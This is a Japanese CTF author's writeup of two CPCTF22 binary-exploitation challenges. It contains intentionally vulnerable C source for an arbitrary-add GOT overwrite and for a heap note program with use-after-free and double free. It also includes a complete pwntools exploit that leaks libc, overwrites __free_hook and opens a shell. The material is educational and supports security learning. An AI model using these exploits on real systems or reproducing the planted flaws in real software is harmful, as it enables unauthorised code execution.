feature image

2022年5月4日 | ブログ記事

CPCTF22 作問者writeup by Imperi

こんにちは 19BのImperiです。traPではCTF班、algorithm班に入っています。

この記事は5/1に行われたCPCTFの作問者writeupになっています。

作問した問題

Pwn

writeup

Add anywhere

難易度:medium

正答者数

ヒントなし ヒント1 ヒント2 ヒント3
7 1 0 1
#include <stdio.h>
#include <stdlib.h>

void win(){
  system("cat /home/user/flag");
}

int main(){
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);

  void *addr = NULL;
  short num = 0;
  char comment[20];

  puts("You can add a little value to any addr!");
  printf("addr> ");
  scanf("%p",&addr);
  printf("val> ");
  scanf("%hd",&num);

  * (short *)addr += num;

  puts("Any comment?");
  scanf("%28s",comment);

  return 0;
}

問題概要

配布されたバイナリ本体を実行すると、アドレスと値を聞かれそのアドレスに値を足す処理が走ります。main.cを読むとwin関数を呼べばフラグが出力されるようです。

解説

まず普通に実行するとmain関数からwin関数は呼ばれることがないため、どうにかして実行フローをwin関数に持っていく必要があります。

そのような状況のときに用いられる方法としてリターンアドレスの書き換えとGOT overwriteといった手法が挙げられます。

まずリターンアドレスの書き換えを考えると、最後の0x20bytes分のcommentに対して0x28文字分の入力をしているところが気になります。しかし今回のバイナリではStack Smashing Protector(以下SSP)というセキュリティ機構が入っているため、ここからリターンアドレスの書き換えをすることは難しいです。SSPは関数を呼び出す際に"カナリア"というランダムな値をstackに載せておき、関数からreturnする直前にカナリアの値が変化しているかチェックすることでリターンアドレスの書き換えを検知するという機構です。

次にGOT overwriteを考えると、このバイナリでは"Partial RELRO"です。これはざっくり説明すると、共有ライブラリの関数について初めて呼び出すときに関数のアドレスを調べ、そのアドレスをGOTと呼ばれる領域に保存する仕組みです。Partial RELROではGOTに書き込みが行える状態であるため、このアドレスを書き換えることで別の関数に処理を飛ばすことができます。

GOT overwriteが有効だと分かりましたがどの関数のGOTを書き換えるかが次の壁です。アドレスの加算のときのGOTの状態を調べると

このようになっています。putsやprintfのように一度呼び出された関数は既に共有ライブラリ内のアドレスを指しているため、少しの加算(減算)ではwin関数のアドレス0x4011d6にはなりません。system関数はそもそもmain関数から呼ばれないため、ここを書き換えても意味がありません。

ということで残った候補は__stack_chk_fail関数になりました。この関数は何か調べてみると、上で述べたSSPにおいてカナリアの書き換えが検出されたときに呼ばれる関数だということが分かります。つまり__stack_chk_failのGOTをwin関数に書き換えた上で最後のcomment入力においてカナリアを書き換えるまで入力を行うと、無事win関数に処理が飛びます。

具体的には

と入力すれば...

yatta~~~

フラグがゲットできます!

感想

GOT overwriteについて知っていれば上記の推測で行けるかな~と思って作問しました。ただGOT知らないと割とどうしようもない気がしていて、ヒントも当たり障りのないことしか書いてなかったのでもうちょっと上手いやり方があったかもしれないですね…

heap challenge

難易度: Hard

正答者数

ヒントなし ヒント1 ヒント2 ヒント3
1 0 0 1

問題ソースファイル
#include <stdio.h>
#include <stdlib.h>

typedef struct {
  unsigned long len;
  char *content;
} Message;

Message *msg[10];

int get_int(){
  char buf[10];
  int num;
  fgets(buf,10,stdin);
  num = atoi(buf);
  return num;
}

void menu(){
  puts("1. new");
  puts("2. edit");
  puts("3. show");
  puts("4. delete");
}

void new(){
  printf("index> ");
  int index = get_int();
  if(index < 0 || 10 <= index){
    puts("invalid index");
    return;
  }

  msg[index] = malloc(sizeof(Message));

  printf("msg_len> ");
  int len = get_int();

  if(len <= 0){
    puts("invalid length");
    return;
  }

  msg[index]->len = len;
  msg[index]->content = malloc(len);

  printf("content> ");
  fgets(msg[index]->content,len,stdin);
}

void edit() {
  printf("index> ");
  int index = get_int();
  if(index < 0 || 10 <= index){
    puts("invalid index");
    return;
  }

  if(!msg[index]){
    puts("empty msg");
    return;
  }

  free(msg[index]->content);

  printf("new_len> ");
  int new_len = get_int();

  if(new_len <= 0){
    puts("invalid length");
    return;
  }

  msg[index]->len = new_len;
  msg[index]->content = malloc(new_len);

  printf("new_content> ");
  fgets(msg[index]->content,msg[index]->len,stdin);
}

void show() {
  printf("index> ");
  int index = get_int();
  if(index < 0 || 10 <= index){
    puts("invalid index");
    return;
  }

  if(!msg[index]){
    puts("empty msg");
    return;
  }

  puts(msg[index]->content);
}

void delete() {
  printf("index> ");
  int index = get_int();
  if(index < 0 || 10 <= index){
    puts("invalid index");
    return;
  }

  if(!msg[index]){
    puts("empty msg");
    return;
  }

  free(msg[index]->content);
  free(msg[index]);
}

int main() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  while(1){
    menu();
    printf("> ");
    int choice = get_int();
    switch(choice) {
      case 1:
        new();
        break;
      case 2:
        edit();
        break;
      case 3:
        show();
        break;
      case 4:
        delete();
        break;
      default:
        exit(0);
        break;
    }
  }

  return 0;
}

問題概要

メモの新規作成、編集、表示、削除ができるバイナリです。

解説

最初にバイナリの脆弱性を挙げると edit関数のこの箇所です。

  free(msg[index]->content);

  printf("new_len> ");
  int new_len = get_int();

  if(new_len <= 0){
    puts("invalid length");
    return;
  }

ここでは最初に msg->contentをfreeしていますが、ここでnew_len=-1を入力すると直後のif文でreturnしてしまいfreeした msg->contentのポインタがそのままになります。この状態でshowを選べばUAF(read)が出来ますし、もう一度editを選びnew_len=-1を入力すればdouble freeにも繋がります。

libc leak

まずlibc leakですがUAFを利用します。glibcでは一定サイズ以上のmalloc&freeを行うと内部でunsorted binという区分で管理されます。これはfreeしたチャンクを双方向連結リストで管理するもので、freeしたチャンクが一個の状態だとチャンクのfdはlibcのmain_arena内のアドレスを指します。よって

というような流れでlibc leakを行うことができます。なお実際にはtopと隣接しているunsorted binは併合されてしまうため、間に別のメモをnewすることでtopと隣接しないようにする工夫が必要です。

double free

次にdouble freeで任意アドレス書き込み -> free_hookの書き換えを狙います。今回はglibc2.31での実行となるためmalloc&freeの際に様々なチェックが走ります。tcacheのdouble freeが使われることが多いですが、glibc2.31では単純に同じtcacheチャンクに2回freeしても検出されてabortされてしまいます。これを回避するためにtcacheを埋めてfast binにチャンクを送る工夫が必要になります。fast binでは先頭以外であればdouble freeが通ります。fast binでdouble freeをした後、mallocを繰り返してdouble freeでループ状になったチャンクを操作できるようになれば任意アドレス書き込みが行えます。libc leakは既に出来ているためここでfree_hookをsystem関数などに置き換えれば system("/bin/sh") としてシェルを実行することができます。

以下が↑を実装したスクリプトです

PoC
from pwn import *

context.arch='amd64'
io = process('./heap_chal')
#io = remote('heap-challenge.cpctf.space',30018)
libc = ELF('./libc.so.6')

#gdb.attach(io,'''
#b *main+107
#''')

def new(index,len,content)->None:
    io.sendlineafter(b'> ',str(1).encode())
    io.sendlineafter(b'index> ',str(index).encode())
    io.sendlineafter(b'msg_len> ',str(len).encode())
    io.sendlineafter(b'content> ',content)

def edit(index,new_len,content) -> None:
    io.sendlineafter(b'> ',str(2).encode())
    io.sendlineafter(b'index> ',str(index).encode())
    io.sendlineafter(b'new_len> ',str(new_len).encode())
    io.sendlineafter(b'new_content> ',content)

def edit_error(index,new_len) -> None:
    io.sendlineafter(b'> ',str(2).encode())
    io.sendlineafter(b'index> ',str(index).encode())
    io.sendlineafter(b'new_len> ',str(new_len).encode())

def show(index)->bytes:
    io.sendlineafter(b'> ',str(3).encode())
    io.sendlineafter(b'index> ',str(index).encode())
    return io.recvline()

def delete(index)->None:
    io.sendlineafter(b'> ',str(4).encode())
    io.sendlineafter(b'index> ',str(index).encode())

new(0,0x500,b'for leak')
new(1,30,b'prevent consolidation')
edit_error(0,-1)

leak = show(0).rstrip()
libc_addr = u64(leak+ b'\x00'*2) - 0x7f523ad45be0 + 0x7f523ab59000
log.info(hex(libc_addr))

new(8,30,b'test')
new(9,30,b'test')

new(2,10,b'tcache')
new(3,10,b'tcache')
new(4,10,b'tcache')
new(5,30,b'tcache')

edit(8,10,b'test')
edit(9,10,b'test')

log.info("allocate")

delete(2)
delete(3)
delete(4)
delete(5)

log.info("fill tcache")

edit_error(8,-1)
edit_error(9,-1)
edit_error(8,-1)

log.info("fastbins double free")

new(2,10,b'tcache')
new(3,10,b'tcache')
new(4,10,b'tcache')
new(5,30,b'tcache')

log.info("tcache realloc")

edit(5,10,p64(libc_addr + libc.symbols['__free_hook']))
new(2,10,b'test')
edit(1,10,p64(libc_addr + libc.symbols['system']))

log.info("free_hook overwrite")

new(2,10,b'/bin/sh')
delete(2)

io.interactive()

感想

シンプルなheap問を作ろうとして元々はUAF(write)が出来るような形だったはずが、edit関数を変更するうちに今の形になりました。あとdelete関数のfree後にNULL代入してない脆弱性は使わなくても解ける形になっていたので、それなら修正しておくべきだったかなと思います。ここで時間を使っていたら申し訳ないです。

作問の感想

Pwnは初めての作問だったんですが、とにかく自然な形に落とし込むのが難しかったです。結局Add anywhereは脆弱性丸見えの形になりましたし、heap challengeも結構変更の跡が見えてそう... 次作問するときはもっといい問題作れるようになりたいです。あと問題数増やして正答者数の崖を解消したい...

最後に

参加していただいた皆さん、本当にありがとうございました!

Imperi icon
この記事を書いた人
Imperi

この記事をシェア

このエントリーをはてなブックマークに追加
共有

関連する記事

2023年12月30日
SECCON CTF 2023 "bomberman" writeup
Imperi icon Imperi
2022年8月28日
Cコンパイラ作成で出会ったgdbあれこれ
Imperi icon Imperi
2020年5月11日
matplotlib-cppでC++からグラフを表示する
Imperi icon Imperi
2019年7月3日
ハッカソン参加記「Warning」
Imperi icon Imperi
記事一覧 タグ一覧 Google アナリティクスについて 特定商取引法に基づく表記